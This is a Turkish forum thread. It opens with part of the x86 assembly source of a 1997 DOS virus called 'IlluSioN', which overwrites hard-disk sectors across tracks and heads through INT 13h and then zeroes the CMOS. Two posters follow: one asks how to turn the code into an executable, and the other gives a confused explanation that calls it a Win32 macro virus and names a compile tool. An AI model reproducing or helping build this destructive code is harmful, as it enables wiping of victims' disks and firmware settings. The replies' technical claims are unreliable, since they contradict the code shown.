    Rip_hd1:
    mov cx, 1 ;Track 0, sector 1
    push 0311h ;17 secs per track
    pop ax
    mov dl, 80h
    mov bx, 5000h
    mov es, bx
    int 13h ;Kill 17 sectors
    jae rip_hd2
    xor ah, ah
    int 13h ;Reset disks if needed
    Rip_hd2:
    inc dh ;Increment head number
    cmp dh, 4 ;If head number is below 4
    jb rip_hd1 ;then go kill another 17
    inc ch ;sectors increase track
    cmp ch,99h ;number ... 99 tracks ?
    jb rip_hd

    ;************************************************* ****************************
    ; NOW DESTROY THE CMOS *
    ;************************************************* ****************************

    kill_cmos1: mov bp,7C00h
    mov cx,40h

    kill_cmos2: mov al,cl
    out 70h,al ;CMOS !!
    xor al,al
    out 71h,al ;Overwrite CMOS with 0 !!
    loop kill_cmos2
    jmp $


    MENSAJE DB "ÄÄ IlluSioN viRus coded by ThE_WiZArD in Spain (1997) ÄÄ "
    MENSAJE2 DB "When you know that your time is close at hand"
    MENSAJE3 DB "Maybe then you will begin to understand"
    MENSAJE4 DB "Life down there is just a strange Illusion ..."

    Illusion_end label byte
    Illusion ends
    end Illusion_start

    Deveye diken insana, öpen yaranır.
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    nulkarp
    nulkarp's avatar
    Kayıt Tarihi: 21/Ocak/2004
    Erkek
    şimdi sizde bana yardım edin bunları nasıl exe haline getiririz.

    Deveye diken insana, öpen yaranır.
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    BartheZ
    BartheZ's avatar
    Bilgi/Destek Madalyası Üstün Hizmet Madalyası
    Kayıt Tarihi: 03/Haziran/2002
    Erkek
    Win32 Macro virusu bu. Sen harflere bastıkca bikac fonksiyon yukkluyo basliyo. Kendini exelerin icine yamıyor. Her exe virusun ana algoritmasini cagiriyor. Algoritma cagrildiği noktadaki tum exelere kendini yine isliyor.

    Ama bu exelerden birini alip baskasına gonderirsen virus bulasmaz. Hatta prog. calismaz. Cunku bu virus sadece kendi sistemi icinde bir kac fonk. tanimliyor ve onun icin exeler bozulmadan calisiyor. Virusa kendini tamamiyle exeye isleyemez tabide, hic olmazsa baska bilgisayarda da hasar yaratabilecek bir seyler eklese, hic olmazsa "buna virus bulasmıs" diyebilsek ;)

    Nasıl exeye cevirceine gelince, MPASM kur, bunu yaz sonra compile et. iste exe. ama açma:)

    on error go to hell
Toplam Hit: 3319 Toplam Mesaj: 4